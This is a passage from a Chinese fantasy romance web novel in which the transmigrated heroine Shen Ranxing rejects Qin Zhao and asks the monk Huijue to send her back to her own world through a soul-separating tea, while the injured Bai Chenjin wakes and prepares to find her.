还是为了那个冲在最前线,与他有深厚恩情,共享过童年最黑暗时光,如今又因受伤的人。 “我真的……再也骗不了我自己了。” 沈染星的声音轻得像是一阵叹息,又像是在自言自语。 冯维翰正想开口说些什么,突然,门外传来一道清朗的嗓音: “你作何要骗自己?” 沈染星抬头看去。 只见来人一身锦袍,剑眉星目,正是许久不见的秦昭。 她有些惊讶:“秦昭?你怎么会在这里?” 冯维翰既能约她在此密谈,此地必然有一定的隐秘性和守卫,秦昭怎能如入无人之境般,来得如此随意。 秦昭信步走进来:“我来找冯伯父谈些事情。” 他目光转向冯维翰,带着熟稔的笑意。 “冯伯父?”沈染星更加疑惑,看向冯维翰。 冯维翰朝秦昭微微躬身,算是见礼,然后对沈染星解释道:“秦堂主是少爷母亲那边的外戚。” 他顿了顿,似乎想掩饰什么,又忙补充道,“秦堂主因不满家中对他未来的安排,早年便自己出门闯荡了。” 秦昭笑道:“冯伯父,您可就别在染星面前揭我老底了。” 沈染星看着这两人之间奇怪的氛围,心中疑窦丛生,但此刻她心乱如麻,也无心深究,便起身道:“既然你们有事相谈,那我先离开了。” 秦昭却在她转身时,没头没尾地说了一句:“染星,你若是实在觉得无处可去,可以来我身边。” 沈染星脚步一顿:“我怎么会无处可去,我名下大大小小的妖院,已有一十六家,去哪里都可以安身。” 秦昭:“你知道我所说为何意。” 沈染星看向秦昭:“秦昭,如果我听不懂妖语,不是第一个提出提出共生契约的人,没有这一十六家妖院作为依仗,你还会想我留在你身边吗?” 秦昭没有立即回答。 他似乎是第一次真正思考这个问题,俊美的脸上露出了沉吟的神色。 片刻后,他才坦诚地看向沈染星,目光清明:“染星,我不想骗你,你知道的,我是一个商人。而商人……重利。” “所以,你想要的不是我本身,而是附加在我身上的其他东西。” “那些东西,不也是你吗?” “可在我还远不完整的时候,在我一无所有,甚至自身难保的时候,他就已经陪在我身边了。” 那个他指的是谁,不言而喻。 秦昭自然知道。 他想,的确是这样。 他无法像白尘烬那样,爱得如此纯粹,不计得失,甚至近乎偏执,权衡利弊的习惯早已刻入骨髓。 于是他不再继续那个话题,只是走上前。 抬手,动作自然,帮沈染星撩起耳边一缕散落的碎发,语气温和:“染星,其实你很好,不必任何人差,要更自信一些。” 沈染星没有把他的话太放在心上,两人又随意聊了些无关紧要的话题,沈染星便告辞离开了。 在她离开时,朝退到一侧给他们让出空间的冯维翰微微颔首道别。 冯维翰与她道别后,走到秦昭身侧,看着沈染星离去的方向,有些无奈地低声道:“秦堂主,其实主子当时那个命令,早已不作数了。” 说道是,当初白尘烬母亲因担心儿子中了美人计,让秦昭设法拆散沈染星和白尘烬的那道指令。 后来发生那么多事,这道命令早已时过境迁。 秦昭当时没能拆散成功,想不到……他如今似乎还在继续? 消息如此滞后,冯维翰都不禁疑惑,秦昭这生意到底是怎么做得风生水起的。 秦昭闻言,却轻轻一笑,目光依旧望着沈染星消失的门口:“命令不作数了,难道我就不可以凭我自己的意愿,把人诱到我身边来了吗?” 冯维翰猛地一噎,不可置信地抬头看向秦昭。 居然……连素来精明算计,万花丛中过片叶不沾身的秦昭,也中了这沈染星的计了吗?! ……他颇有种肉包子打狗,有去无回之感。 “肉包子”如今还看着别人离开,空荡荡的门外。 冯维翰想扶额,但还是忍住了- 沈染星在这个世界,一直有种淡淡的排斥感,如同穿着一件并不完全合身的衣裳,总有些细微的不适。 这种感觉已经明显到,即便生意上的事务让她忙得脚不沾地,焦头烂额,那股无形的隔阂与孤寂感,依旧如同潮湿的雾气般渗透进来,让她无法忽视。 自那日白尘烬离开去刺杀国师后,已经好几日没回来了。 准确来说,冯维翰告诉她,他已经从伏妖居回来了。 但是,他没有回共生苑,没有来见她。 甚至,她主动去济世堂寻人,也一次次被客气而坚定地拦在门外,只是被告知他事务繁忙,不便见客。 沈染星不知道这是怎么了。 明明之前还好好的,他甚至还穿着她送的那件不合身的衣服,在雪地里等她归来。 为何一次失败的刺杀行动后,一切都变了? 是任务失败让他心情不佳?还是……在伏妖居发生了别的什么她不知道的事情? 冯维翰每次见她,都只是公式化地安抚,让她别担心,说白尘烬最近确实很忙,过些日子还要再出去一趟。 她知道,刺杀国师失败了,国师依旧盘踞在伏妖居,如同一片巨大的阴云。 而萧霁雪,据说受了朝廷紧急召唤,已经启程返回上京。 这日,再一次碰了壁,回去的路上,马车经过闹市,一阵清冽醇厚的酒香随风飘入车厢。 沈染星忽然想起来,自己第一次喝酒,还是穿越前,萧医生给的。 那时她病情好转,恰逢元宵,却找不到父亲,去母亲那里又碰了一鼻子灰,一个人在医院外的长椅上坐着,又冷又孤单。鬼使神差地,她拨通了萧医生的电话。 没想到萧医生真的来了,手里还提着一瓶包装精致的果酒,苦笑着说自己刚失恋,正想找人喝酒。 两人酒量都很差,坐在萧医生温暖的小公寓里,各自只小心翼翼地喝了一小口,脸颊就都飞起了红霞,然后相视傻笑,最后竟然就那样靠着沙发,昏昏沉沉地睡到了天亮。 那段记忆此刻回想起来,带着一种模糊的温暖。 突然之间,她有些想念萧医生了,有些想念那个充满了消毒水味道的医院,甚至有些想念那个她曾经觉得压抑又无趣的世界。 至少在那里,她衣食无忧,人身安全有基本保障,还有那么多新奇有趣的娱乐方式,不必卷入这些打打杀杀,勾心斗角的纷争。 想到这里,沈染星忽然叫停了马车。 “东家,有什么吩咐?”车夫勒住缰绳,回头问道。 沈染星掀开车帘,漫天大雪,寒风灌了进来。 她目光落在不远处那家酒旗招展的酒肆上,沉默了片刻,轻声道:“你在此稍等,我去去就回。” 她下了马车,走进那家酒肆。 伙计热情地迎上来,介绍着各种佳酿。沈染星没有多听,只随意指了一壶闻起来最清冽的酒,付了钱,拿着那小巧的酒壶回到了马车上。 马车重新缓缓行驶起来,沈染星靠在微微晃动的车壁上,温热的酒壶握在手中。 窗外的街景一一掠过。 忽然,她再次开口,对车外的车夫说道:“不去苑里了,改道去城外的寺庙吧。” 车夫闻言,明显愣了一下,语气充满了惊讶:“东家……你要去寺庙?” 他是知道自家东家向来最讨厌那些寺庙道观之类的,总觉得里面的和尚道士对她图谋不轨,无论其他人如何解释,她依旧会保持自己的偏见。 怎么今天太阳打西边出来了,突然要去寺庙? 车夫本是一名驯妖师,靠着那点技艺,勉强养家糊口,只是手段太软,心不够狠,被原东家赶出来了。 当时家中爱妻还刚给他生了个孩子,正需用钱关头,又一连几日没找到活,急得整夜整夜睡不着,眼下青黑。 那时街上与沈染星擦肩而过,她见他垂头丧气,便随口问了一句,就这一问,立即给了他一份工作。后来,还送了他妻子不少补品。 见沈染星今日有些异常,他不免担心,问道:“东家,怎么突然想去慈云寺?” “许久没见慧觉了,我去看看他。”车厢内传来声音。 车夫想起,那是沈染星见过的一个老和尚,心下稍安:“好。” 随即一挥鞭子,调转马头,朝着城外慈云寺的方向驶去。 他心里想着,得快一些,天色不早了,还得赶在天黑之前,把东家送回共生苑。 第79章 那便回去吧 沈染星提着一壶酒, 拾级而上。 石阶被岁月磨得光滑,缝隙里长着茸茸青苔,山间空气清冷,混着香火和草木混合的气息。 走完最后几级台阶, 一抬头, 便看见一座古朴的石制牌坊矗立眼前, 上面刻着模糊的字迹。 牌坊两侧是几株苍翠老树,不知年岁,枝干虬结, 积了一层厚厚的雪。 透过牌坊望去, 寺庙的殿宇幽深静谧, 一个小沙弥正提着一把比他还高的扫帚,低着头,慢悠悠地从里面扫着地出来。 沈染星走上前,客气地问道:“小师傅,请问慧觉师父在吗?” 闻声, 那小沙弥抬起头。 本来面色从容, 但看清沈染星的脸后, 整个人如同被施了定身咒般, 猛地一僵,随即脸上露出惊恐之色,仿佛见到了什么极其可怕的东西。 他连扫帚都顾不上拿,扔在地上,转身就往寺内跑去, 脚步踉跄,差点被门槛绊倒,身影迅速消失在殿宇拐角。 …… 沈染星莫名其妙, 看着他那仓皇逃窜的背影,一头雾水。 这时,车夫已经安置好马车,气喘吁吁地跟了上来。 她转过头,指着小沙弥消失的方向,困惑地问车夫:“我现在长得很恐怖吗,怎么那小和尚一见到我,跟见了鬼似的?” 车夫沉默了一会,脸上表情有些复杂:“东家……你是真不知道吗?” “知道什么?”沈染星更疑惑了。 “你极度厌恶寺庙道观,这事儿在这方圆百里,几乎是无人不知,无人不晓啊。” 沈染星点了点头,坦然承认:“这倒是没说错。” 车夫见她不以为意,甚至有点小自豪,压低声音:“你从前还在盛怒之下,曾经扬言要把这座慈云寺给铲平了,如今贸然前来,吓到人也不奇怪……” 沈染星眨了眨眼。 对噢!还有这回事。 刚搬来共生苑独住不久时,她心绪不宁,每每听到从这山上传来的梵唱钟声,就莫名心慌气短,甚至接连几晚都做了噩梦。 那时被扰得不胜其烦,再一次被钟声惊到后,确实怒气冲冲地放过狠话,说要拆了这破庙。 她说说也就罢了,反正气话当不得真。 可当时跟在她身边的白尘烬,似乎差点就当真了…… 沈染星下意识地缩了缩脖子,顿时完全理解了,刚才那小沙弥为何如此恐惧。 好家伙,原来人家是把她当成上门砸场子的煞星了。 她无奈地叹了口气,身后跟着一脸忐忑的车夫,来到寺庙大门前。 头顶是黑底金字的“慈云寺”牌匾,看起来庄重肃穆。 沈染星刚抬脚踏进门槛,大门内侧阴影里,赫然立着一个人,袈裟明黄,在幽暗的光线下格外醒目。 她心脏猛地一跳,差点叫出声来。 捂着心口,定睛一看,原来是慧觉师父。 慧觉面容清癯,眼神澄澈而平和。 他双手合十,主动开口道:“阿弥陀佛,施主,贫僧已知晓,那些祸事并非因你而其。既是误会,贫僧日后也不会再去叨扰施主清静。” 这是言和的意思了。 果然,沈染星接着便听他语气温和,劝诫她:“只是,既已释怀,又何必再来此清净之地,徒增不必要的牵扯与……罪孽呢?” 听他这么说,沈染星轻轻一笑,抬手,晃了晃手中那壶酒,解释道:“师父您误会了,我今日不是来寻仇的,更不是来铲平寺庙的……” 她说着,眉眼轻微弯了一下:“我失恋了,你陪我喝酒吧。” 慧觉的目光一低,落在沈染星手中那壶酒上,眉头轻轻蹙起。 他强自按捺住心绪,双手合十,平和道:“阿弥陀佛,施主,佛门五戒,酒戒为其一,饮酒令人心智迷乱,易生过失,故不可犯。” 沈染星撇了撇嘴:“好吧,戒律是你们的,你不喝,我自己喝总行了吧?” 说着,她拎着酒壶就要往寺庙里面走。 “施主且慢。”慧觉身形未动,再次出声叫住了她。 沈染星停住脚步,半转过身,挑眉看他。 慧觉依旧保持着合十的姿态,无奈地告诫:“寺内乃清净之地,不仅僧众不可饮酒,亦不许将酒肉带入,更遑论在寺内饮酒了,此乃规矩,还望施主体谅。” 沈染星愣了一下,经他提醒,才模糊想起,似乎确实有这么个说法。 若是平日,她或许还会顾及一二,但此刻去意已决,心头简直像是压着一块冰,冷硬得很,哪里还有心思去管这些什么清规戒律。 她转回身,直面慧觉,近乎无赖地威胁:“师父,现在只有两个选择。要么,你破例一次,允许我在这寺里,安安静静地把这壶酒喝完;要么……” 她顿了顿,目光扫过这庄严的殿宇:“我现在就找人过来,把这里给铲平了,你选一个。” …… 慧觉觉得,自己修行了大半辈子、自以为早已波澜不惊的好脾气,此刻正岌岌可危。 他深知,眼前这女子看着乖萌小巧,但她身边围绕着的那几位,没一个是省油的灯。 对她而言,铲平寺庙这种话,绝不仅仅是威胁那么简单,她是真的有可能做到的。 他仔细看了看沈染星的脸色,确实苍白憔悴,心情确实不佳。 慧觉憋了半晌,终是无奈地叹了口气,妥协道:“阿弥陀佛……罢了,只此一次,下不为例。” 沈染星脸上这才露出笑意:“那我还得多谢慧觉师父通融了。” 说罢,她不再犹豫,拎着酒壶径直往寺内走去。 车夫见状,自知不便跟随,自行去偏殿参拜了。 慧觉默默跟在她身侧半步之后。 两人踩在尚未完全清扫的积雪上,脚下发出“吱嘎吱嘎”轻响。 飞檐积雪,树枝枯寂,庭院无人。 走了一段,见沈染星只是沉默地看着周遭景色,迟迟不开口,慧觉主动问道:“施主今日特意来找贫僧,究竟所为何事?” 她没有看慧觉,声音轻得像是在自言自语:“师父,你是不是有办法,能让我回去?” 回到那个属于她的,原本的世界。 慧觉脚步微顿,沉默片刻,坦然道:“是。” “需要花费很多时间准备吗?比如需要什么能量核心、时空坐标、穿梭机之类的?” 慧觉听不懂她后半句话,只是回答了前一个问题:“倒也无需耗费太多心力外物,只需稍作准备即可。” “那劳烦师父了。”沈染星在佛殿门前停住脚步,转过身,定定地看着慧觉。 闻言,慧觉微微倒抽一口凉气,讶然道:“施主这是?” “我想回去了。” 慧觉更加困惑了:“当初施主意志坚定,说什么也要留下,甚至不惜……为何突然之间又改了主意?其实,贫僧倒觉得,施主留在此处,也并非坏事。你看,你在此处早已扎根,有了自己的事业,有了牵挂的人和妖。” 沈染星又迈开步子,问道:“师父,你可知你的体重是多少?” 慧觉被她这突兀的问题问得一怔,虽不明所以,但见她神色认真,便如实告知:“约莫一百三十余斤。” 沈染星点了点头:“一百三十余斤的重量里,是不是有一百三十斤都是反骨?” 慧觉:“……” 沈染星道:“当初我要留下来,你苦口婆心劝我回去,说此地非我久留之乡。如今我终于想通了,如你所愿,决定回去了,你反倒又劝我留下来。慧觉师父,你是不是故意的?非要跟我对着干才舒坦?” 听了她这番歪理,慧觉说得哭笑不得,无奈地摇了摇头:“贫僧绝无此意,万事随心,若施主去意已决,贫僧自会为施主准备。” 听着他终究妥协的话语,沈染星却没有感到丝毫轻松。 她抬起头,目光越过慧觉,看到了前方大殿洞开的殿门,殿内光线幽暗,那尊佛像宝相庄严。 不再多言,她迈步跨过那高高的木质门槛,走了进去。 长明灯跳跃着微弱的光芒。 佛像高大巍峨,低垂着眼帘,眉目慈蔼悲悯,仿佛早已看尽世间悲欢,一眼便洞悉了她的苦厄与彷徨。 沈染星走到供桌前,将那壶酒,轻轻放在了供桌上。 供桌上铺着明黄色的绸缎,摆放着香炉、烛台和几碟干瘪的供果,那粗陶酒壶置于其上,竟也不显十分突兀,反倒有种奇异的和谐。 她退回几步,站在佛前,仰起头,静静地凝视着那慈悲垂目的佛像。 殿内檀香袅袅,寂静无声。 慧觉再次回来时,已过了将近一个时辰。殿外的天光似乎又暗淡了几分。 沈染星依旧维持着原先的姿势,孤零零地立在佛前。 她站得那样久,那样专注,恍惚间,慧觉几乎觉得她身上落满了无形的寒霜。 慧觉手中端着一只素雅的青瓷茶盏,缓步走到她身边,将茶盏轻轻放在供桌上,恰好就在那壶酒旁边。 盏中热气袅袅升起,清雅却略显苦涩的茶香,与殿内原本的檀香混合,氤氲出一片朦胧而虚幻的氛围。 “施主,”慧觉的声音低沉而平和,“饮下此茶,灵魂便可自此身剥离……你,便可以回去了。” 沈染星终于动了。 缓缓地,极其缓慢地,低下了那仰得有些僵硬的脖颈,目光落在了那盏决定她去留的茶上。 茶汤澄澈,在青瓷盏中微微荡漾,倒映出她模糊的面容。 她伸出手,朝着茶盏探去。 直到此刻,她才发现,手在不受控制地发抖,随即,明黄色绸缎晕开点点暗斑。 她抬手一抹,掌心濡湿一片,她也才发现,泪也控制不住了。 慧觉见她如此,轻叹一声道:“既然心有不舍,并非真心想离开,那便留下来吧。” “留下来?”沈染星道,“你亲口说过,我若强行留下,或会招致灾厄,甚至可能生灵涂炭,如果那劫难是注定的,是这世界运行的一部分,我留下或许还能坦然些,可如果……” “如果我继续待在这里的代价,是让我所在意、所亲近的人,一个个因我,而付出极其惨重的代价呢?纪明月、雪拂、乔阿盈、石多磊……还有他。” 慧觉默然不语,只是垂下了眼睑。 他的沉默,本身就是一种默认。 那日在共生苑,听了沈染星那番预言后,慧觉便重新起卦推演过天机。 卦象显示,若她选择留下,原本笼罩此方天地的一场巨大灾祸,轨迹确实发生了偏移。 仿佛转移了,应验在了她身边那些人身上。 其实这并不难理解,她的存在让一切危机提前出现,而挡在危机前的,自然是她身边的人。 慧觉心中自然有所偏袒,他希望这个带来变数的女子能留下,或许能带来一线不同的生机。 但他更清楚,他不能,也没有权力,强求她留下来,亲眼看着珍视之人因自己而受苦受难。 这对她而言,太残忍了。 沈染星双手捂住脸:“这让我如何承受?” “纪明月说要保全我,可她呢,她自身难保,在国师与萧霁雪的夹缝里挣扎。再加上我,一个叛徒的负担,她会付出什么代价,我不敢想。” “她已被仇恨与恩情困了半生,何苦再为她套上我这副枷锁。” “我算什么?曾是国师弟子,如今却与师门为敌;是白尘烬最亲近的人,却成了他失控的诱因;与萧霁雪目标一致,中间却隔着天堑。” “我无处可去,无处容身,我是个异数,一个多余的错误,不如彻底离开,干干净净的,让一切回归正轨。” “我离开济世堂时,就发誓不再想他,可我怎么能不想?我了解他,即便他十分在意萧霁雪,也不可能不见我。可我一次次去寻,一次次被拦在门外,这不对,这太反常了,他出事了,一定是出事了,而且绝非小事。” “还有,冯维翰说他无事,那他便是出事了,原书里不是这样的……不该是这样的。” 原书中,国师实力被大幅削弱后,几人合攻,即便受了伤,也没到见不了人的地步。 可如今一切都提前了。 也变得更危险了。 “是因为我吗?是因为我扰乱了时间,改变了计划,才将所有人推入了更危险的境地吗,我留下,会继续伤害他们吗?” 她大声问着,大声哭着,她无力蹲下,整个人抖得入秋风落叶,如此狼狈,如此声嘶力竭,泪水糊了满脸,哪还看得到当初半点意气风发沈东家的模样? 慧觉久久地立在一侧,任由她将所有的痛苦、恐惧和委屈尽数宣泄出来。 直到她哭到力竭,整个人几乎要虚脱,抱着自己,蜷缩成小小的一团,他才缓缓地蹲下身来。 他伸出手,如同一位慈爱而无奈的长辈,轻轻地一下下拍着她肩头,声音温和: “既然你已窥见可能的结局,心中已有决断,那便回去吧。” “回去吧,回去之前,告知他们,待此间诸事已了,若是还有念想,便为你刻一尊佛像,诚心地为你刻一尊佛像,一切都会慢慢好起来的。” 第80章 时间不多了 茶盏已空, 仅剩残留的茶水挂在杯壁上,沈染星将其轻轻放回盏托上,杯底与托盘接触,发出“嗒”地一声轻响。 密室内, 幽深隐秘。 一碗药汁浓黑, 也被放在了榻边的矮几上。 刚放下药碗的侍从, 眼角余光瞥见一抹幽蓝色,划过榻上之人裸露的脖颈与锁骨处,如同活物般的诡异图腾微微流动。 他惊讶地抬头, 猛地对上一双灰蓝色眼眸, 未散混沌, 冰冷疲惫。 “少爷,您醒了!” 侍从的声音既惊喜,又惶恐。 寺庙大殿外。 小沙弥惴惴不安,立在门边,不敢进去。 方才里面传出的阵阵嘶喊与痛哭声, 听得他胆战心惊。 他暗自嘀咕:难道是师父训人太狠, 把那位传闻中很可怕的沈东家给训哭了? 他可不敢过问, 关于这位沈东家的传闻他听了不少, 都说她身边麻烦不断,招惹上她准没好事。 虽说她长得确实和蔼可亲,眉目柔和,可有些故事里说了,长得最善良的那个, 或许才是最恶的那个。 更别提她身边还跟着一个据说凶神恶煞,能止小儿夜啼的人了。 即便好奇心挠着他的心,他也绝不敢上前凑这个热闹。 他本是受了那位等在寺外的车夫所托, 来问问东家何时启程,可眼下这情形,实在不合适进去。 里面经过方才那一场惊天动地的发泄后,此刻又陷入了一片死寂。 静悄悄的,那位沈东家不知怎样了? 既然已经悄无声息好一会儿了,是不是事情已经了结了?那他现在可以进去了吗? 小沙弥捏着自己灰色的僧袍衣角,内心天人交战。 眼看天色渐晚,又想着车夫的嘱托算是正当理由,他终于鼓起勇气,探出半个脑袋,朝着大殿内望去。 但见佛殿内,光线昏黄柔和,长明灯的光晕为一切都镀上了一层暖意。 沈染星静立在佛前,身姿纤细,墨发如瀑般垂在身后,几缕发丝被窗外透进的微风吹拂,轻轻飘动。 她低着头,侧脸线条在光影中显得分外柔和,香炉中余烟袅袅,如同无形的纱幔缭绕在她周身。 “一切有为法,如梦幻泡影,如露亦如电,应作如是观。” 小沙弥脑海中莫名浮现出这句佛偈,只觉得此刻殿内的景象,虚幻而寂灭。 就在这时,沈染星缓缓转过身来。 除了眼眶还泛着明显的红肿,她的脸上已经看不出其他异常的痕迹,神情平和。 猝不及防,小沙弥对上了她的视线,吓得他立刻缩回头,心脏砰砰直跳。 随即,他听见里面传来沈染星平静的声音:“时辰不早了,我该回去了。” 慧觉师父低声与她道了别。 脚步声缓慢,朝着门口而来,越来越近。 小沙弥想起自己刚才偷看被抓包,又是害怕,又是尴尬,但应下了车夫的请求,他还是硬着头皮,低着头站在原地等着。 里面的脚步声却在即将到达门口时,停了下来。 他听见沈染星道:“奇怪……我的肚子怎么感觉闷闷的,还有,心口也一阵阵抽着痛?” 慧觉师父声音冷静无波:“此乃正常现象,施主不必忧心。” 沈染星似乎有些不满:“你给的那杯……不会是过期的茶吧?不会是你第一次找我,就提前备下了的吧?” 慧觉师父道:“那也并未过去多少时日。” 里面沉默了片刻,小沙弥猜不到她在想什么。 又听见慧觉师父道:“放心吧,这是正常的,此外,距离你彻底失去意识,约莫还有大半个时辰,时间不多了。” 昏死? 小沙弥惊讶地捂住了嘴。 难道这女魔头是患了什么不治之症,所以才来求佛保佑? 那样……嗯,那样厉害的人,要是真的生了重病,还真是活该。 他脑子里乱糟糟地想着。 在他怔愣之际,沈染星似乎已经接受了慧觉的说法,脚步声再次响起,随即,她跨过高高的门槛,走了出来。 一道阴影自小沙弥头顶压下。 小沙弥年纪尚小,身高只到沈染星胸口,本就对她存着几分畏惧,如今加上身高的压制,以及他自己还是小孩子心性,一时间紧张极了,手脚都不知道该往哪里放。 沈染星看着他这副模样,忽然伸出手,轻轻地在他光溜溜的脑袋上拍了两下,语气温和:“别害怕,我今天不是来砸场子的……我还会让我那边的伙计,明日送些香火钱过来,算是赔礼,也是布施。” 闻言,小沙弥脸颊微微泛红,半晌都没能说出话来。 沈染星又问:“你有看到跟我一起来的那个车夫吗?” 小沙弥这才猛地想起自己的任务,连忙说道:“看到了!他说他会在马棚那边备好车等你,你办完事直接过去就好。” 沈染星闻言,脸上露出一抹浅淡的笑:“好,多谢你了。” 说罢,她又自然而然地伸手,轻轻摸了一下小沙弥光滑的脑袋,这才抬步,沿着来时的路,往外走去。 她摸头的动作十分娴熟自然,安慰人的语气也恰到好处,温和得让人生不出恶感,仿佛天生便有一种能让人消除紧张,卸下戒备的奇异能力。 小沙弥对她这安抚的动作很是受用,他看着沈染星逐渐远去的背影,立即便背叛了方才的幸灾乐祸的自己—— 心想,其实……她人好像也挺不错的。 若她真的生了很重的病,那……还真是有点可惜了。 小沙弥挠了挠自己刚刚被摸过的头顶,望着那消失在暮霭中的身影,小小地叹了口气。 车夫在寺庙旁马棚的火盆前,一边搓着手取暖,一边不住地朝寺庙方向张望。 天色渐晚,细密的雪花又开始纷纷扬扬地飘落下来,给远处的山峦蒙上了一层薄纱。 终于,他远远地看到了沈染星的身影,正沿着石阶缓缓而下。 他连忙起身,拍掉身上的草屑,将马车赶到更显眼的位置,并准备好了上车的脚踏。 然而,当沈染星走近时,借着马车旁悬挂的风灯,车夫注意到她眼睛有些红肿,虽然神色平静,但那股哭过的痕迹却瞒不过人。 车夫心中顿时咯噔一下,一股怒火“噌”地就冒了上来。 好啊,定是庙里那些秃驴欺负了东家。 难怪东家平日里最是厌恶这些寺庙和尚,果然都不是什么好东西。 沈染星刚一脚踏上脚踏,准备进入车厢,就听见身旁的车夫怒火冲冲地说道:“东家,你告诉我,是不是里面那些和尚给你气受了?我这就去给您讨个公道。” 话音未落,他竟真的抄起了赶车的马鞭,转身就要往寺庙里冲去。 他早年也是驯妖出身,虽生性纯良,此刻怒气上涌,身上不自觉便带出了几分慑人的戾气。 “等等!”沈染星连忙叫住他。 她扶着额头,叹了口气,解释道:“不关他们的事,是我自己想起了一些伤心事,没控制住情绪,与他们无关。” 车夫将信将疑,停下脚步,回头看着她:“真的?东家您可别替他们遮掩。” “真的。” 车夫见她神色不似作伪,这才悻悻地放下马鞭,嘴里却还嘟囔着:“那就好……量他们也不敢,否则白爷回来,也要他们好看。” …… 马车在细雪中缓缓前行,车轮碾过积雪,留下两道车辙。 沈染星掀开车厢一侧的帘子,窗外暮色四合,小雪纷飞,空气清冷,夹杂着雪花涌入车厢。 她想起车夫刚才那副要去找人拼命的架势…… 不知白尘烬如今对她是何种态度,不过,她可以确定的是,今日这一行,她离开后,很有可能给慧觉和那座寺庙带去不必要的麻烦。 沈染星叹了口气。 回去之后,得想办法好好解释一番- 白尘烬靠在榻上,裸露的肌肤上,那些灰蓝色的图腾闪烁,蠕动,甚至能看到皮肤下有什么东西在不安分地凸起,游走,仿佛下一刻就要撕裂皮肉,破体而出。 他脸色苍白如纸,额角沁出细密的冷汗,手端着浓黑药碗,眉头都未曾皱一下,仰头一饮而尽。 侍从刚从他手中接过空碗,还未来得及放下,便见他坐起身来,似乎想要下榻。 侍从一惊,连忙将药碗胡乱搁在桌上:“少爷,您伤势未愈,体内力量不稳……” 白尘烬挥开他欲搀扶的手,双脚甫一落地,以他脚尖为中心,地面上刻画的复杂符文瞬间被激活,亮起刺目的白光,形成一个光华流转的禁锢阵法。 强大的压制力如同无形枷锁,将他体内咆哮的力量强行按捺下去。 同时,这阵法给他带来了不小的负担,让他本就虚弱的身体微微一颤。 “我昏睡了多久?”他的嗓音哑得厉害。 侍从恭敬回答:“回少爷,已近六日了。” 恰在此时,冯维翰听到他苏醒的消息,急匆匆地赶了过来。 白尘烬想站起来,可双腿却一阵酸软无力,身体晃了晃,不得不又坐回了榻边。 冯维翰连忙上前扶住他:“少爷,您中了国师大量特制的毒剂,还是要再安心修养一段时日。” 此次刺杀,白尘烬确实重创了国师。 但那老狐狸奸猾似鬼,眼见不敌,居然将他引至一处早已布好的陷阱,那里弥漫的毒雾和暗器上涂抹的剧毒,皆是专门针对他研制的。 后来,国师重伤遁走,下落不明。 但白尘烬也讨不了什么好处,状态骇人。 那日强撑着回来时,浑身浴血,肌肤之下,仿佛有无数幽蓝色的光虫在疯狂窜动,整个人处于彻底失控的边缘。 那模样,冯维翰自诩见多识广,也被吓得魂飞魄散,几乎以为他要蜕变成某种非人的怪物。 他在彻底失去意识前,只艰难地交代了两件事:一是不要让沈染星看到他这副模样,而是待他醒来,要回京一趟。 随后便陷入了长达六日的昏死。 白尘烬非但不听冯维翰劝诫,还提出更过分的要求:“把阵法撤了。” 冯维翰面露难色:“少爷……” 白尘烬瞥了他一眼。 他便立刻住嘴了。 白尘烬不再看他,垂眼,看向手背上的皮肤,各处正随着图腾的闪烁不住鼓动,传来阵阵撕裂般的痛楚。 他问道:“我的雪松绫呢?” 冯维翰忙解释:“少爷,那雪松绫……估计是在与国师的激斗中,被他的毒火或是某种克制性的力量……灼毁殆尽了。” 那雪松绫不仅是疗伤圣物,更能一定程度上安抚他躁动的力量。 此次力量失控得史无前例,雪松绫在双重冲击下,终究是没能保住。 说起这个,冯维翰至今心有余悸,他一度以为白尘烬即便能醒来,神智也未必能保持清醒。 想不到,白尘烬竟然出乎意料的冷静。 白尘烬并未多言,只道:“给我准备一件斗篷,要能完全遮掩身形的。” 话已至此,冯维翰还有什么不明白的。 这祖宗刚醒,连站都站不稳,就迫不及待地要去找他那小情人了! 冯维翰实在想不通,天下女子何其多,为何少爷偏偏就认准了那个身份复杂,来历可疑的沈染星? 一个曾经的国师弟子,一个可能背叛了原主子的细作…… 但他不敢强行阻拦,只得依言吩咐下去。 看着下属领命而去,冯维翰心中却莫名涌起一股不安,仿佛有什么不好的事情即将发生。 他将这归咎于,这位大爷此刻状态极差,却还要强行外出。 为了稍作安抚,他把这几日沈染星几乎日日来寻他的事,同他说了。 白尘烬静静地听着,垂下的眼睫。 冯维翰看着他的脸色,似乎看到了一抹柔和。 不太确定,再看时,那抹柔和已消失无踪,取而代之的,是一种阴郁。 白尘烬抬起眼,眉眼微弯,笑意丝毫未达眼底,声音也带着一股寒意:“你没有告诉她,我醒来之后,会去找她吗?” 闻言,冯维翰后背的冷汗瞬间就下来了。 这大爷当时昏死过去,根本没来得及交代这句啊。 这岂不是在为难老臣吗! 他连忙俯身请罪,声音发紧:“属下愚钝,未能领会少爷深意,不敢随意向沈东家做出此等承诺,怕万一有变,徒惹她伤心。” 白尘烬轻嗤一声,不再看他,目光重新落回地面。 地面上那光华流转的阵法光芒开始逐渐黯淡、隐去。 阵法之力消失的瞬间,如同撤去了最后一道堤坝,他体内被强行压抑的狂暴力量猛地翻腾起来。 白尘烬脸色骤然一白,喉头涌上一股腥甜,又被他强行咽了回去,额角青筋也随即暴起。 好半晌,他才险险稳住了。 此时,门开了,进来一人,手中托着一个托盘,上头叠放着一件斗篷—— 作者有话说:这一章还是写不到呐,下章一定!下章一定!《 》 80-90 第81章 已经醒过来了 在暮色与细雪中, 马车驶回了共生苑。 脚步踏在微湿的石板路上,沈染星走进院内,目光扫过各处。 他依旧没有回来。 心底那处闷痛似乎又清晰了几分。 她自然可以吩咐雇员伙计传话,可有些话, 不当面说, 经由他人之口传达, 似乎差了点什么。 思来想去,还是写一封信吧。 或许,这是最后一封了。 独自走进书房, 沈染星反手轻轻合上门, 将渐大的风雪隔绝在外。 房间内烧着炭盆, 暖意融融,她抬手揉了揉愈发沉闷抽痛的心口,走到书案前。 案上收拾得整齐。 她从一旁的匣子里,取出一张质地细腻的信纸,缓慢将它在案面上铺展开, 用白玉镇纸压住。 然后, 拿起那方歙砚, 注了些清水, 捏着墨锭,开始一圈圈研磨起来,颇有些心不在焉。 墨锭与砚台摩擦,发出细微均匀的沙沙声,黑色的墨汁渐渐晕开。 渐渐的, 她甚至开始走神了。 其实,共生苑里里外外的事务,早在得知白尘烬去刺杀国师后, 她心下不安,便已未雨绸缪地着手安排。 账目、人事、各分院的运作流程……她都细细梳理过,也召集了各分院的主事人,将后续可能遇到的问题和应对之策都叮嘱了一番。 这样一想,似乎……需要她临行前紧急交代的事情,真的不多了。 墨已研得浓稠适中。 沈染星放下墨锭,取过一支小楷,在笔洗中润了润笔尖,撩起另一只手的衣袖,准备落笔。 笔尖悬在纸上方,却顿住了。 该写什么呢? 她静静地站了片刻,窗外的雪光映在她脸上,一个带着点恶劣念头涌上心头。 